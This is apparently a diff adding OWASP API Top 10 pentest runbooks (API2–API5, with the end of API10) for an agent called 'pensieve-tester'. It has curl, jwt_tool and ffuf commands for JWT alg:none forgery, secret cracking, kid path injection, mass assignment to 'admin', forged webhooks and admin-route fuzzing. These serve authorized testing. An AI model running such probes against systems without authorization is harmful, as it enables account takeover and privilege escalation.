|
43
|
+
|
|
44
|
+
# 3. Redirect/content-type trust — confirm whether the target follows an upstream
|
|
45
|
+
# redirect or accepts an unexpected content-type from a downstream response it
|
|
46
|
+
# integrates (observe the consumed result reflected in the target's response).
|
|
47
|
+
curl -sS -x "$PROXY" -H "Authorization: Bearer $TOKEN_A" \
|
|
48
|
+
-o api10-consume.json -w "consume status=%{http_code} type=%{content_type}\n" \
|
|
49
|
+
"https://$TARGET/api/import/from-partner?source=partner-feed"
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
## Expected Evidence
|
|
53
|
+
|
|
54
|
+
Saved request/response pairs for the forged-webhook probes (no-signature and
|
|
55
|
+
wrong-signature status), `api10-enrich.json` showing whether malformed/boundary
|
|
56
|
+
input to a downstream-consuming flow is validated or reflected, and
|
|
57
|
+
`api10-consume.json` with the status/content-type of a consumed partner response.
|
|
58
|
+
Each row states whether the target validated the upstream/third-party data.
|
|
59
|
+
Artifacts cite evidence-ledger ids.
|
|
60
|
+
|
|
61
|
+
## Pass/Fail
|
|
62
|
+
|
|
63
|
+
FINDING if the target accepts an unsigned or wrongly-signed webhook, or ingests
|
|
64
|
+
downstream/third-party data (redirects, content-types, response bodies) without
|
|
65
|
+
validation (malformed input reflected or acted on). PASS if webhook signatures
|
|
66
|
+
are verified (rejected on missing/wrong signature) and downstream data is
|
|
67
|
+
validated/sanitised before use. File per templates/FINDING.md.
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: API2 — Broken Authentication
|
|
3
|
+
item: API2
|
|
4
|
+
description: Auth weaknesses — liveness-gated login testing, credential stuffing, JWT flaws, token forging, and fail-open binding checks.
|
|
5
|
+
agents: [pensieve-tester]
|
|
6
|
+
pack: owasp-api-v4
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Tools
|
|
10
|
+
|
|
11
|
+
curl, jwt_tool, jq
|
|
12
|
+
|
|
13
|
+
## Steps
|
|
14
|
+
|
|
15
|
+
All traffic via the engagement proxy; placeholder targets only; obey the
|
|
16
|
+
PROJECT.md intensity limit (login bursts are rate-paced per
|
|
17
|
+
reference/param-profiles.md — STEALTH/NORMAL/AGGRESSIVE, never a flood).
|
|
18
|
+
Accounts/tokens from the ACCOUNTS.md matrix. The auth-surface rules below
|
|
19
|
+
mirror the web/asvs-l2 auth lane (V2-AUTH-LIVE..V2-AUTH-MFA runbooks).
|
|
20
|
+
|
|
21
|
+
```sh
|
|
22
|
+
export PROXY=http://127.0.0.1:8080
|
|
23
|
+
|
|
24
|
+
# 1. LIVENESS GATE — before ANY auth-surface conclusion on the login/API-auth
|
|
25
|
+
# endpoint, assert the request produced a genuine auth-stage marker (the
|
|
26
|
+
# app's real error code / stage transition in the BODY — status codes lie).
|
|
27
|
+
# A raw naive POST without the client crypto is SILENTLY IGNORED by
|
|
28
|
+
# crypto-gated logins (the page/endpoint just re-renders): a negative
|
|
29
|
+
# naive-POST burst is INVALID evidence. Capture the app's genuine login
|
|
30
|
+
# request once (browser/app replay through the proxy), note the marker,
|
|
31
|
+
# then replay your probe shape and grep for it:
|
|
32
|
+
curl -sS -x "$PROXY" -o api2-live-$TS.json -w 'liveness status=%{http_code}\n' \
|
|
33
|
+
-H 'Content-Type: application/json' \
|
|
34
|
+
-d '{"username":"nosuchuser-xyz","password":"x","<crypto fields from the genuine request>":""}' \
|
|
35
|
+
https://$TARGET/api/login
|
|
36
|
+
jq -r '.. | objects | to_entries[]? | select(.key|test("error|stage|code";"i")) | "\(.key)=\(.value)"' api2-live-$TS.json
|
|
37
|
+
# No marker => STOP: every negative on this shape is INVALID evidence until
|
|
38
|
+
# the genuine request (with its client crypto) is re-derived from the app.
|
|
39
|
+
|
|
40
|
+
# 2. Login rate limiting on the GENUINE path — 10 rapid logins with a
|
|
41
|
+
# NONEXISTENT username (never a real account; single-attempt-then-stop
|
|
42
|
+
# when touching real credentials). Count distinct statuses + timing:
|
|
43
|
+
for i in $(seq 1 10); do
|
|
44
|
+
curl -sS -x "$PROXY" -o /dev/null \
|
|
45
|
+
-w "try=$i status=%{http_code} time=%{time_total}\n" \
|
|
46
|
+
-H 'Content-Type: application/json' \
|
|
47
|
+
-d '{"username":"nosuchuser-'"$i"'-xyz","password":"x","<crypto fields>":"<genuine>"}' \
|
|
48
|
+
https://$TARGET/api/login
|
|
49
|
+
sleep 2 # pacing — tighten/loosen per intensity profile, never remove
|
|
50
|
+
done | tee api2-rate-table.txt
|
|
51
|
+
grep -o 'status=[0-9]*' api2-rate-table.txt | sort | uniq -c # distinct statuses
|
|
52
|
+
# FINDING only if LIVE-first AND no 429/403/captcha/lockout marker AND flat timing.
|
|
53
|
+
|
|
54
|
+
# 3. User-enumeration differential — existing vs nonexistent username at the
|
|
55
|
+
# SAME auth stage, one wrong-password attempt on the real account.
|
|
56
|
+
# Compare response BYTES, not status codes; report the oracle only with a
|
|
57
|
+
# body-quoted differential:
|
|
58
|
+
curl -sS -x "$PROXY" -o api2-enum-exists.json \
|
|
59
|
+
-w 'exists status=%{http_code} bytes=%{size_download}\n' \
|
|
60
|
+
-H 'Content-Type: application/json' \
|
|
61
|
+
-d '{"username":"<ACCOUNTS row>","password":"<wrong-once>","<crypto fields>":"<genuine>"}' \
|
|
62
|
+
https://$TARGET/api/login
|
|
63
|
+
curl -sS -x "$PROXY" -o api2-enum-nosuch.json \
|
|
64
|
+
-w 'nosuch status=%{http_code} bytes=%{size_download}\n' \
|
|
65
|
+
-H 'Content-Type: application/json' \
|
|
66
|
+
-d '{"username":"nosuchuser-xyz","password":"<wrong-once>","<crypto fields>":"<genuine>"}' \
|
|
67
|
+
https://$TARGET/api/login
|
|
68
|
+
diff <(jq -S 'del(.requestId,.timestamp)' api2-enum-exists.json) \
|
|
69
|
+
<(jq -S 'del(.requestId,.timestamp)' api2-enum-nosuch.json)
|
|
70
|
+
|
|
71
|
+
# 4. Per-account MFA — MFA enforcement differs per account/role; a
|
|
72
|
+
# single-account verdict generalizes wrongly. Walk the login for EVERY
|
|
73
|
+
# ACCOUNTS.md row (MFA columns: channel, code lifetime, lockout policy)
|
|
74
|
+
# and record which accounts enforce step-up before session issuance.
|
|
75
|
+
# OTP economy per reference/otp-relay.md: chain before you ask, consume
|
|
76
|
+
# each code exactly once, never burn a second code on a re-prompt.
|
|
77
|
+
# (One walk per row: same curl as step 1 with that row's vault creds,
|
|
78
|
+
# then jq for otp/mfa/challenge/step markers as in step 1.)
|
|
79
|
+
|
|
80
|
+
# 5. JWT weaknesses on every bearer token seen (alg=none, weak secret, kid, expiry)
|
|
81
|
+
jwt_tool -P "$PROXY" "$TOKEN_A" # scan/decode
|
|
82
|
+
jwt_tool -P "$PROXY" "$TOKEN_A" -X a # alg:none forgery
|
|
83
|
+
jwt_tool -P "$PROXY" "$TOKEN_A" -C -d jwt.secrets.list # weak-secret crack (local wordlist)
|
|
84
|
+
jwt_tool -P "$PROXY" "$TOKEN_A" -I -pc kid -pv "../../../dev/null" # kid injection
|
|
85
|
+
|
|
86
|
+
# 6. Submit a forged/altered token to the protected endpoint and read the result
|
|
87
|
+
curl -sS -x "$PROXY" -o forged.json -w 'forged status=%{http_code}\n' \
|
|
88
|
+
-H "Authorization: Bearer $FORGED_TOKEN" https://$TARGET/api/me
|
|
89
|
+
|
|
90
|
+
# 7. Token-forger / fail-open lane — does the verify/accept endpoint enforce
|
|
91
|
+
# binding (IP/UA/session), or accept a valid-shaped but unbound token?
|
|
92
|
+
curl -sS -x "$PROXY" -o nobind.json -w 'no-binding status=%{http_code}\n' \
|
|
93
|
+
-H "Authorization: Bearer $TOKEN_A" https://$TARGET/api/me # binding header omitted
|
|
94
|
+
curl -sS -x "$PROXY" -o loggedout.json -w 'post-logout status=%{http_code}\n' \
|
|
95
|
+
-H "Authorization: Bearer $TOKEN_A" https://$TARGET/api/me # replay AFTER logout
|
|
96
|
+
|
|
97
|
+
# 8. API key in URL / wrong audience
|
|
98
|
+
curl -sS -x "$PROXY" -w 'key-in-url status=%{http_code}\n' -o /dev/null \
|
|
99
|
+
"https://$TARGET/api/data?api_key=$API_KEY"
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
## Expected Evidence
|
|
103
|
+
|
|
104
|
+
The liveness marker capture (`api2-live-$TS.json` + the marker key=value
|
|
105
|
+
line), the rate-limit table (`api2-rate-table.txt` with distinct statuses
|
|
106
|
+
and timing), the enumeration pair (`api2-enum-exists.json` /
|
|
107
|
+
`api2-enum-nosuch.json` with `bytes=` lines and the stripped diff), the
|
|
108
|
+
per-account MFA verdict table (one row per ACCOUNTS.md account), jwt_tool
|
|
109
|
+
output per token (alg/secret/kid/expiry verdicts), and saved
|
|
110
|
+
`forged.json` / `nobind.json` / `loggedout.json` request-response pairs.
|
|
111
|
+
Every artifact cites an evidence-ledger id.
|
|
112
|
+
|
|
113
|
+
## Pass/Fail
|
|
114
|
+
|
|
115
|
+
Liveness gates everything: auth-surface negatives from a shape that never
|
|
116
|
+
showed the auth-stage marker are INVALID evidence — record the crypto gate
|
|
117
|
+
and re-derive the genuine request instead of concluding. FINDING if any of:
|
|
118
|
+
10 LIVE-path rapid logins show no rate limit/lockout (single repeated
|
|
119
|
+
same-stage failure, no 429/403/captcha marker, flat timing); a body-quoted
|
|
120
|
+
enumeration differential at the same stage; an account whose role touches
|
|
121
|
+
sensitive functions reaches a session with no MFA step-up (check EVERY
|
|
122
|
+
account row — a single-account verdict generalizes wrongly); a
|
|
123
|
+
forged/alg-none/weak-secret token is accepted (200 on a protected route); a
|
|
124
|
+
token is accepted after logout; a valid-shaped unbound token is accepted
|
|
125
|
+
when the binding claim/header is missing (fail-open); or an API key rides
|
|
126
|
+
in the URL and is honoured. PASS if the LIVE-gated lanes show rate limiting,
|
|
127
|
+
byte-identical (nonce-stripped) login bodies, per-account step-up wherever
|
|
128
|
+
the design promises it, and forged/unbound/post-logout tokens are rejected
|
|
129
|
+
(401/403). File per templates/FINDING.md.
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: API3 — Broken Object Property Level Authorization
|
|
3
|
+
item: API3
|
|
4
|
+
description: Mass assignment (write protected fields) and excessive data exposure (read hidden fields).
|
|
5
|
+
agents: [pensieve-tester]
|
|
6
|
+
pack: owasp-api-v4
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Tools
|
|
10
|
+
|
|
11
|
+
curl, jq
|
|
12
|
+
|
|
13
|
+
## Steps
|
|
14
|
+
|
|
15
|
+
All traffic via the engagement proxy; placeholder targets only; accounts from
|
|
16
|
+
the ACCOUNTS.md matrix (a plain `user`-role token `$TOKEN_A`).
|
|
17
|
+
|
|
18
|
+
```sh
|
|
19
|
+
export PROXY=http://127.0.0.1:8080
|
|
20
|
+
|
|
21
|
+
# 1. Mass assignment — inject protected fields the UI never sends into a write.
|
|
22
|
+
# Then read the object back and check whether the field actually took.
|
|
23
|
+
curl -sS -x "$PROXY" -o ma.json -w 'write status=%{http_code}\n' \
|
|
24
|
+
-X PATCH -H "Authorization: Bearer $TOKEN_A" -H 'Content-Type: application/json' \
|
|
25
|
+
-d '{"email":"a@example.com","role":"admin","isVerified":true,"price":0}' \
|
|
26
|
+
https://$TARGET/api/users/me
|
|
27
|
+
curl -sS -x "$PROXY" -H "Authorization: Bearer $TOKEN_A" \
|
|
28
|
+
https://$TARGET/api/users/me | jq '{role,isVerified,price}' # did any stick?
|
|
29
|
+
|
|
30
|
+
# 2. Excessive data exposure — inspect a normal read for fields the UI never shows
|
|
31
|
+
curl -sS -x "$PROXY" -H "Authorization: Bearer $TOKEN_A" \
|
|
32
|
+
https://$TARGET/api/users/me -o me.json
|
|
33
|
+
jq 'keys' me.json # full property set returned
|
|
34
|
+
jq '{password_hash, ssn, internal_id, otp_secret, salary}' me.json # sensitive probe
|
|
35
|
+
|
|
36
|
+
# 3. Same exposure check on a collection/list endpoint (often leakier)
|
|
37
|
+
curl -sS -x "$PROXY" -H "Authorization: Bearer $TOKEN_A" \
|
|
38
|
+
https://$TARGET/api/users -o users.json
|
|
39
|
+
jq '.[0] | keys' users.json
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
## Expected Evidence
|
|
43
|
+
|
|
44
|
+
Saved `ma.json` (write response) + the read-back showing whether the injected
|
|
45
|
+
property persisted; `me.json` / `users.json` with the `jq keys` output listing
|
|
46
|
+
every returned property and the sensitive-field probe result. A short table:
|
|
47
|
+
property → returned? → UI-visible? Each row cites an evidence-ledger id.
|
|
48
|
+
|
|
49
|
+
## Pass/Fail
|
|
50
|
+
|
|
51
|
+
FINDING if a mass-assigned protected field (`role`/`isVerified`/`price`) is
|
|
52
|
+
accepted and reflected on read-back, **or** a response returns a sensitive
|
|
53
|
+
property the UI never exposes (PII, password/OTP hash, internal id, salary).
|
|
54
|
+
PASS if protected fields are ignored/rejected on write and responses carry
|
|
55
|
+
only UI-visible properties. File per templates/FINDING.md.
|
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: API4 — Unrestricted Resource Consumption
|
|
3
|
+
item: API4
|
|
4
|
+
description: Missing pagination/size/rate limits on expensive operations — measure the ceiling, never DoS.
|
|
5
|
+
agents: [pensieve-tester]
|
|
6
|
+
pack: owasp-api-v4
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Tools
|
|
10
|
+
|
|
11
|
+
curl, ffuf, jq
|
|
12
|
+
|
|
13
|
+
## Steps
|
|
14
|
+
|
|
15
|
+
CRITICAL invariant: **MEASURE, never DoS.** Every volume/rate below is pinned
|
|
16
|
+
to the PROJECT.md intensity limit (reference/param-profiles.md profiles
|
|
17
|
+
STEALTH/NORMAL/AGGRESSIVE — AGGRESSIVE is still "no DoS"). The goal is to
|
|
18
|
+
state whether a limit is absent or honoured, not to flood. All traffic via the
|
|
19
|
+
engagement proxy; placeholder targets only; token from the ACCOUNTS.md matrix.
|
|
20
|
+
|
|
21
|
+
```sh
|
|
22
|
+
export PROXY=http://127.0.0.1:8080
|
|
23
|
+
export RL=10 # requests/sec ceiling — set from the PROJECT.md intensity profile
|
|
24
|
+
|
|
25
|
+
# 1. Missing pagination limit — ask for an absurd page size ONCE and measure
|
|
26
|
+
# how many records come back and how long it takes (single request, no flood).
|
|
27
|
+
curl -sS -x "$PROXY" -H "Authorization: Bearer $TOKEN_A" \
|
|
28
|
+
-o big.json -w 'status=%{http_code} size=%{size_download} time=%{time_total}s\n' \
|
|
29
|
+
"https://$TARGET/api/items?limit=100000"
|
|
30
|
+
jq 'length' big.json # records actually returned vs. any documented cap
|
|
31
|
+
|
|
32
|
+
# 2. Oversized payload acceptance — one large body, measure accept/reject
|
|
33
|
+
head -c 5000000 /dev/zero | tr '\0' 'A' > big.txt # 5 MB filler, built locally
|
|
34
|
+
curl -sS -x "$PROXY" -X POST -H "Authorization: Bearer $TOKEN_A" \
|
|
35
|
+
-H 'Content-Type: text/plain' --data-binary @big.txt \
|
|
36
|
+
-o /dev/null -w 'oversized status=%{http_code}\n' https://$TARGET/api/upload
|
|
37
|
+
|
|
38
|
+
# 3. Rate limit on an expensive op (search/export/OTP-send) — ffuf rate-capped
|
|
39
|
+
# to $RL. A 429/Retry-After appearing = limit present; all 200 = absent.
|
|
40
|
+
ffuf -x "$PROXY" -rl "$RL" -H "Authorization: Bearer $TOKEN_A" \
|
|
41
|
+
-u "https://$TARGET/api/search?q=FUZZ" -w <(seq 1 60) \
|
|
42
|
+
-mc all -o api4-rate.json -of json
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
## Expected Evidence
|
|
46
|
+
|
|
47
|
+
A rate/size/latency table: the `?limit=100000` record count + time from
|
|
48
|
+
`big.json`, the oversized-payload status, and the ffuf `api4-rate.json` run
|
|
49
|
+
(request count, status distribution, first 429/Retry-After if any) — each row
|
|
50
|
+
noting the intensity profile the volume was pinned to. Artifacts cite
|
|
51
|
+
evidence-ledger ids.
|
|
52
|
+
|
|
53
|
+
## Pass/Fail
|
|
54
|
+
|
|
55
|
+
FINDING if the API returns an unbounded record set for `?limit=100000` (no
|
|
56
|
+
server-side cap), accepts the oversized payload, or shows no rate limit on the
|
|
57
|
+
expensive op across the paced (intensity-capped) requests. PASS if pagination
|
|
58
|
+
is capped, oversized bodies are rejected (413), and the expensive op returns
|
|
59
|
+
429/Retry-After within the measured window. File per templates/FINDING.md.
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: API5 — Broken Function Level Authorization
|
|
3
|
+
item: API5
|
|
4
|
+
description: Plain-user token reaching admin/privileged functions — verb tampering, hidden routes, role-diff matrix.
|
|
5
|
+
agents: [pensieve-tester]
|
|
6
|
+
pack: owasp-api-v4
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Tools
|
|
10
|
+
|
|
11
|
+
curl, ffuf, jq
|
|
12
|
+
|
|
13
|
+
## Steps
|
|
14
|
+
|
|
15
|
+
All traffic via the engagement proxy; placeholder targets only. Accounts from
|
|
16
|
+
the ACCOUNTS.md matrix: a plain `user` token `$TOKEN_A` and an `admin` token
|
|
17
|
+
`$TOKEN_ADMIN` for the role-diff baseline.
|
|
18
|
+
|
|
19
|
+
```sh
|
|
20
|
+
export PROXY=http://127.0.0.1:8080
|
|
21
|
+
|
|
22
|
+
# 1. Verb tampering — hit admin/function endpoints with a PLAIN USER token on
|
|
23
|
+
# every verb. A privileged action succeeding = broken function-level authz.
|
|
24
|
+
for M in GET POST PUT DELETE; do
|
|
25
|
+
curl -sS -x "$PROXY" -X "$M" -o /dev/null -w "$M admin-users status=%{http_code}\n" \
|
|
26
|
+
-H "Authorization: Bearer $TOKEN_A" -H 'Content-Type: application/json' \
|
|
27
|
+
-d '{}' https://$TARGET/api/admin/users
|
|
28
|
+
done
|
|
29
|
+
|
|
30
|
+
# 2. Hidden / unlinked routes — fuzz an admin/route wordlist (built from JS
|
|
31
|
+
# bundles + docs) with the plain user token.
|
|
32
|
+
ffuf -x "$PROXY" -H "Authorization: Bearer $TOKEN_A" \
|
|
33
|
+
-u https://$TARGET/api/FUZZ -w admin-routes.txt \
|
|
34
|
+
-mc 200,201,204,301,302 -o api5-routes.json -of json
|
|
35
|
+
|
|
36
|
+
# 3. Role-diff matrix — replay the SAME route set as each identity, diff
|
|
37
|
+
# statuses. A route the user can reach that behaves like the admin = finding.
|
|
38
|
+
for R in admin/users admin/config reports/export settings/billing; do
|
|
39
|
+
u=$(curl -sS -x "$PROXY" -o /dev/null -w '%{http_code}' \
|
|
40
|
+
-H "Authorization: Bearer $TOKEN_A" https://$TARGET/api/$R)
|
|
41
|
+
a=$(curl -sS -x "$PROXY" -o /dev/null -w '%{http_code}' \
|
|
42
|
+
-H "Authorization: Bearer $TOKEN_ADMIN" https://$TARGET/api/$R)
|
|
43
|
+
echo "$R user=$u admin=$a"
|
|
44
|
+
done
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## Expected Evidence
|
|
48
|
+
|
|
49
|
+
Per-verb status output for the admin endpoint, the ffuf `api5-routes.json`
|
|
50
|
+
hidden-route results, and the role-diff table (route × user-status ×
|
|
51
|
+
admin-status) from step 3. Saved request/response pairs for any route where the
|
|
52
|
+
user token returned a success status. Artifacts cite evidence-ledger ids.
|
|
53
|
+
|
|
54
|
+
## Pass/Fail
|
|
55
|
+
|
|
56
|
+
FINDING if the plain user token reaches any admin/privileged function (2xx on a
|
|
57
|
+
verb-tampered admin endpoint, a hidden admin route, or a role-diff row where
|
|
58
|
+
user-status matches the admin success instead of 401/403). PASS if every
|
|
59
|
+
admin/function route is denied (401/403) to the user token across the matrix.
|
|
60
|
+
File per templates/FINDING.md.
|